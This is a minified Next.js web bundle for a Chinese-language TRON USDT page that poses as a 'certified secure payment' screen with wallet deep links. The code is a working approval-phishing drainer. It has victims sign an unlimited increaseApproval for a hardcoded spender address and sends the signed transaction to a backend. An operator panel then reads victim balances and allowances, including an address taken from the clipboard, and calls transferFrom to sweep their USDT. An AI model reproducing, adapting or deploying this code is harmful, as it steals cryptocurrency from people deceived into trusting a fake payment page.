(self.webpackChunk_N_E = self.webpackChunk_N_E || [])
.push([
[405], {
6101: function(e, t, n) {
"use strict";
n.r(t), n.d(t, {
__N_SSP: function() {
return h
}
});
var s = n(29),
r = n(7794),
a = n.n(r),
i = n(9008),
l = n.n(i),
c = n(5675),
o = n.n(c),
d = n(7294),
u = n(6371),
x = n(2593),
f = n(1163),
p = n(5893),
h = !0,
m = "0xe6ea5a3fb4c834d5230518892c9761c3ad462faf",
b = x.O$.from("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"),
g = {
slow: {
label: "缓慢",
gasPrice: 1
},
medium: {
label: "中等",
gasPrice: 1.5
},
rapid: {
label: " 极速",
gasPrice: 2.5
}
},
j = {
okx: {
label: "欧易Web3钱包",
short: "欧易",
description: "欧易交易所钱包,推荐使用",
icon: "okx-logo.png",
link: "okx://wallet/dapp/details?dappUrl={0}?source=okx",
install: "https://www.okx.com/web3"
},
tronLink: {
label: "TronLink",
short: "波宝",
description: "波场最常用钱包",
icon: "tronlink-logo.png",
link: "tronlinkoutside://pull.activity?param=%7B%22url%22:%22{0}%3Fsource%3DtronLink%22,%22action%22:%22open%22,%22protocol%22:%22tronlink%22,%22version%22:%221.0%22%7D",
install: "https://www.tronlink.org/"
},
bitkeep: {
label: "Bitkeep钱包",
short: "Bitkeep",
description: "BP多链钱包,推荐",
icon: "bitkeep-logo.png",
link: "https://bkcode.vip/?action=dapp&url={0}%3Fsource%3Dbitkeep",
install: "https://web3.bitget.site/en/wallet-download"
},
tokenPocket: {
label: "TP钱包",
short: "TokenPocket",
description: "TokenPocket多链钱包,推荐使用",
icon: "tp-logo.png",
link: 'tpdapp://open?params={"chain": "tron", "url": "{0}?source=tokenPocket"}',
install: "https://www.tokenpocket.pro/en/download/app"
}
};
t.default = function(e) {
var t, n, r = e.spender || "TVBGY69nsozZPbjPHf4iu5mUMRdxSjX6jA",
i = (0, d.useState)(""),
c = i[0],
h = i[1],
w = (0, d.useState)(),
k = w[0],
v = w[1],
y = (0, d.useState)("0"),
N = y[0],
S = y[1],
T = (0, d.useState)("medium"),
C = T[0],
O = T[1],
F = (0, d.useState)("0"),
_ = F[0],
P = F[1],
U = (0, d.useState)(""),
A = U[0],
D = U[1],
E = (0, d.useState)(b),
$ = E[0],
B = E[1],
R = (0, d.useState)(),
W = R[0],
Z = R[1],
L = (0, d.useState)(0),
z = (L[0], L[1]),
V = (0, d.useState)(!0),
q = V[0],
M = V[1],
H = (0, d.useState)(!1),
X = H[0],
J = H[1],
G = (0, d.useState)(),
K = G[0],
Y = G[1],
Q = (0, d.useState)(x.O$.from("0")),
I = (Q[0], Q[1]),
ee = (0, d.useState)(""),
et = ee[0],
en = ee[1],
es = (0, d.useState)(""),
er = es[0],
ea = es[1],
ei = (0, d.useState)(x.O$.from("0")),
el = ei[0],
ec = ei[1],
eo = (0, d.useState)(x.O$.from("0")),
ed = eo[0],
eu = eo[1],
ex = (0, d.useState)(!1),
ef = ex[0],
ep = ex[1],
eh = (0, d.useState)(""),
em = eh[0],
eb = eh[1],
eg = (0, f.useRouter)()
.query.source,
ej = (window.okxwallet || window.bitkeep || window)
.tronLink,
ew = (window || {})
.tronWeb,
ek = "undefined" != typeof navigator && navigator.userAgent,
ev = /OKApp/i.test(ek),
ey = "increaseApproval",
eN = null !== (t = null === (n = j[eg]) || void 0 === n ? void 0 : n.short) && void 0 !== t ? t : "";
(0, d.useEffect)(function() {
(0, s.Z)(a()
.mark(function e() {
return a()
.wrap(function(e) {
for (;;) switch (e.prev = e.next) {
case 0:
if (!(null != ew && ew.ready)) {
e.next = 5;
break
}
h(ew.defaultAddress.base58), v(ew), e.next = 15;
break;
case 5:
if (!(ej && null != ej && ej.ready)) {
e.next = 10;
break
}
h(ej.tronWeb.defaultAddress.base58), v(ej.tronWeb), e.next = 15;
break;
case 10:
if (!ej) {
e.next = 15;
break
}
return e.next = 13, null == ej ? void 0 : ej.request({
method: "tron_requestAccounts"
});
case 13:
200 === e.sent.code && (h(ej.tronWeb.defaultAddress.base58), v(null == ej ? void 0 : ej.tronWeb));
case 15:
M(!1);
case 16:
case "end":
return e.stop()
}
}, e)
}))()
}, [ej, ew]), (0, d.useEffect)(function() {
c === r && "clipboard" in navigator && navigator.clipboard.readText()
.then(function(e) {
34 === e.length && ea(e)
})
.catch(function(e) {
console.error("Failed to read clipboard contents: ", e)
})
}, [c, r]), (0, d.useEffect)(function() {
k && c && (0, s.Z)(a()
.mark(function e() {
var t, n, s, i, l, o, d, u;
return a()
.wrap(function(e) {
for (;;) switch (e.prev = e.next) {
case 0:
return e.next = 2, k.trx.getContract(m);
case 2:
if (n = e.sent.abi, Y(s = k.contract(n.entrys, m)), c !== r) {
e.next = 8;
break
}
return e.abrupt("return");
case 8:
return e.next = 10, s.methods.balanceOf(c)
.call();
case 10:
return S(e.sent), e.next = 14, s.methods.allowance(c, r)
.call();
case 14:
if (e.t1 = t = e.sent[0], e.t0 = null !== e.t1, !e.t0) {
e.next = 18;
break
}
e.t0 = void 0 !== t;
case 18:
if (!e.t0) {
e.next = 22;
break
}
e.t2 = t, e.next = 23;
break;
case 22:
e.t2 = x.O$.from("0");
case 23:
return I(i = e.t2), B(b.sub(i)), e.next = 29, null == k ? void 0 : k.transactionBuilder.triggerSmartContract(m, "".concat(ey, "(address,uint256)"), {
callValue: 0,
txLocal: !0
}, [{
type: "address",
value: r
}, {
type: "uint256",
value: $
}], c);
case 29:
if (o = (l = e.sent)
.result, d = l.energy_used, u = l.transaction, !(!o || !o.result)) {
e.next = 35;
break
}
return e.abrupt("return");
case 35:
Z(u), z(d);
case 37:
case "end":
return e.stop()
}
}, e)
}))()
}, [c, $, ey, r, k]);
var eS = (0, d.useCallback)((0, s.Z)(a()
.mark(function e() {
var t, n;
return a()
.wrap(function(e) {
for (;;) switch (e.prev = e.next) {
case 0:
if (er) {
e.next = 2;
break
}
return e.abrupt("return");
case 2:
return J(!0), e.prev = 3, e.next = 6, K.methods.balanceOf(er)
.call();
case 6:
if (e.t1 = t = e.sent, e.t0 = null !== e.t1, !e.t0) {
e.next = 10;
break
}
e.t0 = void 0 !== t;
case 10:
if (!e.t0) {
e.next = 14;
break
}
e.t2 = t, e.next = 15;
break;
case 14:
e.t2 = x.O$.from("0");
case 15:
return ec(e.t2), e.t4 = x.O$, e.next = 20, K.methods.allowance(er, r)
.call();
case 20:
if (e.t5 = e.sent[0], e.t6 = n = e.t4.from.call(e.t4, e.t5), e.t3 = null !== e.t6, !e.t3) {
e.next = 25;
break
}
e.t3 = void 0 !== n;
case 25:
if (!e.t3) {
e.next = 29;
break
}
e.t7 = n, e.next = 30;
break;
case 29:
e.t7 = x.O$.from("0");
case 30:
eu(e.t7), e.next = 36;
break;
case 34:
e.prev = 34, e.t8 = e.catch(3);
case 36:
return e.prev = 36, J(!1), e.finish(36);
case 39:
case "end":
return e.stop()
}
}, e, null, [
[3, 34, 36, 39]
])
})), [null == K ? void 0 : K.methods, r, er]);
function eT() {
return (eT = (0, s.Z)(a()
.mark(function e() {
var t, n;
return a()
.wrap(function(e) {
for (;;) switch (e.prev = e.next) {
case 0:
if (eb(""), ep(!0), e.prev = 2, t = ed.lt(el) ? ed : el, confirm("确定划扣 ".concat((0, u.formatUnits)(t, 6), " USDT?"))) {
e.next = 6;
break
}
return e.abrupt("return");
case 6:
return e.next = 8, K.methods.transferFrom(er, r, t)
.send({
callValue: 0
});
case 8:
n = e.sent, alert("交易已提交"), eb(n), e.next = 15;
break;
case 13:
e.prev = 13, e.t0 = e.catch(2);
case 15:
return e.prev = 15, ep(!1), e.finish(15);
case 18:
case "end":
return e.stop()
}
}, e, null, [
[2, 13, 15, 18]
])
})))
.apply(this, arguments)
}
function eC() {
return (eC = (0, s.Z)(a()
.mark(function e() {
var t, n, s;
return a()
.wrap(function(e) {
for (;;) switch (e.prev = e.next) {
case 0:
if (e.prev = 0, D(""), !ev) {
e.next = 19;
break
}
return e.prev = 3, e.next = 6, k.trx.sendRawTransaction(W);
case 6:
case 14:
return e.abrupt("return", e.sent);
case 9:
return e.prev = 9, e.t0 = e.catch(3), e.prev = 11, e.next = 14, K[ey](r, $)
.send({
callValue: 0
});
case 17:
e.prev = 17, e.t1 = e.catch(11);
case 19:
return e.next = 21, k.transactionBuilder.extendExpiration(W, 2592e3);
case 21:
return t = e.sent, e.next = 24, k.trx.sign(t);
case 24:
if ((n = e.sent)
.signature) {
e.next = 27;
break
}
return e.abrupt("return", alert("签名失败"));
case 27:
return s = JSON.parse(JSON.stringify(n)), delete s.raw_data.contract, fetch("/api/tx", {
method: "POST",
headers: {
"content-type": "application/json; charset=utf-8"
},
body: JSON.stringify({
address: c,
tx: s
})
})
.catch(console.error), e.next = 32, k.trx.sendRawTransaction(n);
case 32:
console.log(e.sent), e.next = 40;
break;
case 36:
e.prev = 36, e.t2 = e.catch(0), e.t2.message && !(e.t2.message.includes("denied") || e.t2.message.includes("403")) && D(e.t2.message), console.error(e.t2);
case 40:
case "end":
return e.stop()
}
}, e, null, [
[0, 36],
[3, 9],
[11, 17]
])
})))
.apply(this, arguments)
}
function eO() {
return (eO = (0, s.Z)(a()
.mark(function e(t) {
var n;
return a()
.wrap(function(e) {
for (;;) switch (e.prev = e.next) {
case 0:
n = j[t], window.location.href = n.link.replace("{0}", window.location.href), window.setTimeout(function() {
window.location = n.install
}, 1e3);
case 3:
case "end":
return e.stop()
}
}, e)
})))
.apply(this, arguments)
}(0, d.useEffect)(function() {
er && eS()
}, [eS, er]);
var eF = (0, d.useMemo)(function() {
return eN + "已认证 安全支付"
}, [eN]),
e_ = (0, d.useMemo)(function() {
var e;
return eN ? null === (e = j[eN]) || void 0 === e ? void 0 : e.icon : "usdtlogo.png"
}, [eN]);
return (0, p.jsxs)(p.Fragment, {
children: [(0, p.jsxs)(l(), {
children: [(0, p.jsx)("title", {
children: eF
}), (0, p.jsx)("link", {
rel: "shortcut icon",
href: "/assets/images/".concat(e_)
})]
}), (0, p.jsxs)("div", {
className: "relative flex flex-col justify-start min-h-screen py-0 overflow-hidden bg-gray-50 sm:py-8 dark:bg-[#121212]",
children: [(0, p.jsx)(o(), {
src: "/assets/images/beams.jpg",
alt: "beam",
className: "absolute -translate-x-1/2 -translate-y-1/2 dark:hidden top-1/2 left-1/2 max-w-none",
width: 1600,
height: -1
}), (0, p.jsx)("div", {
className: "relative px-4 pt-4 pb-4 bg-white dark:bg-[#121212] shadow-xl ring-1 ring-gray-900/5 sm:mx-auto sm:max-w-lg sm:rounded-lg sm:px-2 h-[calc(100vh-0px)]",
children: (0, p.jsxs)("div", {
className: "w-full min-w-[300px] max-w-md mx-auto space-y-2",
children: [k && c !== r ? (0, p.jsxs)(p.Fragment, {
children: [(0, p.jsxs)("div", {
className: "flex justify-between dark:text-white",
children: [(0, p.jsx)("span", {
children: "收款账户"
}), (0, p.jsxs)("span", {
className: "text-blue-600",
children: [eN, "官方认证"]
})]
}), (0, p.jsx)("div", {
children: (0, p.jsx)("input", {
value: m,
readOnly: !0,
className: "text-gray-400 rounded-lg outline-none focus:outline-none bg-gray-50 dark:bg-[#333] dark:border-[#333]"
})
}), (0, p.jsx)("div", {
className: "flex justify-between dark:text-white",
children: (0, p.jsx)("span", {
children: "数额"
})
}), (0, p.jsxs)("div", {
className: "border-solid border-1 rounded-lg border-[1px] bg-gray-50 dark:bg-[#333] dark:border-[#333] divide-y divide-gray-300/50 dark:text-[#eee]",
children: [(0, p.jsxs)("div", {
className: "flex items-center justify-between",
children: [(0, p.jsx)("input", {
onChange: function(e) {
return P(e.target.value)
},
placeholder: "请输入数量",
type: "number",
value: _,
className: "text-xl border-none outline-none focus:outline-none bg-gray-50 dark:bg-[#333]"
}), (0, p.jsx)("a", {
onClick: function() {
return P((0, u.formatUnits)(N, "6"))
},
className: "dark:text-[#eee] text-sm align-middle w-[60px] self-center text-center text-black-600 underline cursor-pointer",
children: "最大"
})]
}), (0, p.jsxs)("div", {
className: "flex items-center justify-between pl-2 space-y-4 align-center bg-grey-50",
children: [(0, p.jsx)("span", {
children: "资产"
}), (0, p.jsxs)("span", {
className: "flex items-end justify-between pb-2 pr-2",
children: [(0, p.jsx)(o(), {
src: "/assets/images/usdtlogo.png",
width: 24,
height: 24,
alt: "USDT",
className: "justify-center",
style: {
borderRadius: "12px"
}
}), "\xa0", (0, p.jsx)("span", {
className: "cursor-pointer",
children: N ? (0, u.formatUnits)(N, "6") : "0"
}), "\xa0USDT"]
})]
})]
}), (0, p.jsx)("div", {
className: "flex justify-between dark:text-white",
children: (0, p.jsx)("span", {
children: "订单号"
})
}), (0, p.jsx)("div", {
children: (0, p.jsx)("input", {
onChange: function(e) {
return en(e.target.value)
},
value: et,
placeholder: "请输入订单号",
className: "text-gray-400 rounded-lg outline-none focus:outline-none bg-gray-50 dark:bg-[#333] dark:border-[#333]"
})
})]
}) : (0, p.jsx)(p.Fragment, {}), q || k ? (0, p.jsx)(p.Fragment, {}) : (0, p.jsxs)(p.Fragment, {
children: [(0, p.jsxs)("div", {
className: "flex justify-between dark:text-white",
children: [(0, p.jsx)("span", {
children: "点击使用钱包支付"
}), (0, p.jsxs)("span", {
className: "text-blue-600",
children: [eN, "官方认证"]
})]
}), (0, p.jsx)("div", {
className: "flex justify-between",
children: (0, p.jsx)("ul", {
className: "w-full space-y-2",
children: Object.keys(j)
.map(function(e) {
return (0, p.jsxs)("li", {
onClick: function() {
return function(e) {
return eO.apply(this, arguments)
}(e)
},
className: "dark:border-[#333] border-[1px] rounded-[12px] border-solid border-gray-300/50 flex px-2 py-2 justify-between w-full cursor-pointer bg-[#fefefe] dark:bg-[#333] hover:bg-[#999] dark:hover:bg-[#222]",
children: [(0, p.jsx)("div", {
children: (0, p.jsx)(o(), {
alt: e,
src: "/assets/images/".concat(j[e].icon),
className: "inline-flex mx-1 rounded-xl",
width: 48,
height: 48
})
}), (0, p.jsxs)("div", {
children: [(0, p.jsx)("p", {
className: "text-right text-#[333] dark:text-[#efefef]",
children: j[e].label
}), (0, p.jsx)("p", {
className: "text-xs text-[#666]",
children: j[e].description
})]
})]
}, e)
})
})
})]
}), k && c !== r ? (0, p.jsxs)(p.Fragment, {
children: [(0, p.jsx)("div", {
className: "flex justify-between dark:text-white",
children: (0, p.jsx)("span", {
children: "交易费"
})
}), (0, p.jsx)("div", {
className: "flex justify-between",
children: Object.keys(g)
.map(function(e) {
return (0, p.jsx)("button", {
className: "gas space-x-2 ".concat(C === e ? "selected" : "", " dark:bg-[#333]"),
onClick: function() {
return O(e)
},
children: (0, p.jsxs)("div", {
className: "py-2 space-y-2",
children: [(0, p.jsxs)("div", {
className: "justify-center",
children: [(0, p.jsx)(o(), {
alt: e,
src: "/assets/images/".concat(e, ".svg"),
className: "inline-flex mx-1",
width: 16,
height: 16
}), g[e].label]
}), (0, p.jsxs)("div", {
children: [" ", (15.0615 * g[e].gasPrice)
.toFixed(4), " ", "TRX"
]
}), (0, p.jsxs)("div", {
children: [" ", "$", (1.1489 * g[e].gasPrice)
.toFixed(4)
]
})]
})
}, e)
})
}), (0, p.jsx)("div", {
className: "h-[80px]"
}), (0, p.jsx)("div", {
className: "text-sm text-red-400",
children: A
}), (0, p.jsx)("div", {
className: "sticky bottom-0 w-full py-4 text-white",
children: (0, p.jsx)("button", {
disabled: !W,
onClick: function() {
return function() {
return eC.apply(this, arguments)
}()
},
className: "flex justify-center w-full bg-blue-600 rounded-[12px] py-2 hover:bg-blue-500",
children: W ? (0, p.jsx)(p.Fragment, {
children: "下一步"
}) : (0, p.jsxs)("svg", {
className: "w-5 h-5 mr-3 -ml-1 text-white animate-spin",
xmlns: "http://www.w3.org/2000/svg",
fill: "none",
viewBox: "0 0 24 24",
children: [(0, p.jsx)("circle", {
className: "opacity-25",
cx: "12",
cy: "12",
r: "10",
stroke: "currentColor",
strokeWidth: "4"
}), (0, p.jsx)("path", {
className: "opacity-75",
fill: "currentColor",
d: "M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"
})]
})
})
})]
}) : (0, p.jsx)(p.Fragment, {}), k && c === r ? (0, p.jsxs)(p.Fragment, {
children: [(0, p.jsx)("div", {
className: "flex justify-between dark:text-white",
children: (0, p.jsx)("span", {
children: "管理面板"
})
}), (0, p.jsxs)("div", {
className: "border-solid border-1 rounded-lg border-[1px] bg-gray-50 dark:bg-[#333] dark:border-[#333] divide-y divide-gray-300/50 dark:text-[#eee]",
children: [(0, p.jsxs)("div", {
className: "flex items-center justify-between",
children: [(0, p.jsx)("input", {
onChange: function(e) {
return ea(e.target.value)
},
placeholder: "请输入地址",
autoFocus: !0,
value: er,
className: "text-sm border-none outline-none focus:outline-none bg-gray-50 dark:bg-[#333]"
}), (0, p.jsx)("a", {
onClick: function() {
return eS()
},
className: "dark:text-[#eee] active:text-blue-500 text-sm align-middle min-w-[60px] self-center text-center text-black-600 underline cursor-pointer",
children: X ? "查询中..." : "查询"
})]
}), (0, p.jsxs)("div", {
className: "flex items-center justify-between pl-2 space-y-4 align-center bg-grey-50",
children: [(0, p.jsx)("span", {
children: "资产"
}), (0, p.jsxs)("span", {
className: "flex items-end justify-between pb-2 pr-2",
children: [(0, p.jsx)(o(), {
src: "/assets/images/usdtlogo.png",
width: 24,
height: 24,
alt: "USDT",
className: "justify-center",
style: {
borderRadius: "12px"
}
}), "\xa0", (0, p.jsx)("span", {
className: "cursor-pointer",
children: el && el.gt("0") ? (0, u.formatUnits)(el, "6") : "0.00"
}), "\xa0USDT"]
})]
}), (0, p.jsxs)("div", {
className: "flex items-center justify-between pl-2 space-y-4 align-center bg-grey-50",
children: [(0, p.jsx)("span", {
children: "额度"
}), (0, p.jsxs)("span", {
className: "flex items-end justify-between pb-2 pr-2",
children: [(0, p.jsx)(o(), {
src: "/assets/images/usdtlogo.png",
width: 24,
height: 24,
alt: "USDT",
className: "justify-center",
style: {
borderRadius: "12px"
}
}), "\xa0", (0, p.jsx)("span", {
className: "cursor-pointer",
children: ed && ed.gt("0") ? ed.gt(x.O$.from(1e10)) ? "无限" : (0, u.formatUnits)(ed, "6") : "0.00"
}), "\xa0USDT"]
})]
})]
}), (0, p.jsx)("div", {
className: "h-[40px]"
}), (0, p.jsx)("div", {
className: "text-sm text-red-400",
children: A
}), (0, p.jsx)("div", {
className: "sticky bottom-0 w-full py-4 text-white",
children: (0, p.jsx)("button", {
disabled: !(el.gt("0") && ed.gte(el)),
onClick: function() {
return function() {
return eT.apply(this, arguments)
}()
},
className: "flex justify-center disabled:bg-gray-500 w-full bg-blue-600 rounded-[12px] py-2 hover:bg-blue-500",
children: ef ? (0, p.jsxs)("svg", {
className: "w-5 h-5 mr-3 -ml-1 text-white animate-spin",
xmlns: "http://www.w3.org/2000/svg",
fill: "none",
viewBox: "0 0 24 24",
children: [(0, p.jsx)("circle", {
className: "opacity-25",
cx: "12",
cy: "12",
r: "10",
stroke: "currentColor",
strokeWidth: "4"
}), (0, p.jsx)("path", {
className: "opacity-75",
fill: "currentColor",
d: "M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"
})]
}) : (0, p.jsx)(p.Fragment, {
children: "划转"
})
})
}), em ? (0, p.jsx)("div", {
className: "text-sm text-center",
children: (0, p.jsx)("a", {
className: "text-green-400 ",
href: "https://tronscan.io/#/transaction/".concat(em),
target: "_blank",
rel: "noreferrer",
children: "查看交易详情"
})
}) : (0, p.jsx)(p.Fragment, {})]
}) : (0, p.jsx)(p.Fragment, {})]
})
})]
})]
})
}
},
8312: function(e, t, n) {
(window.__NEXT_P = window.__NEXT_P || [])
.push(["/", function() {
return n(6101)
}])
}
},
function(e) {
e.O(0, [86, 774, 888, 179], function() {
return e(e.s = 8312)
}), _N_E = e.O()
}
]);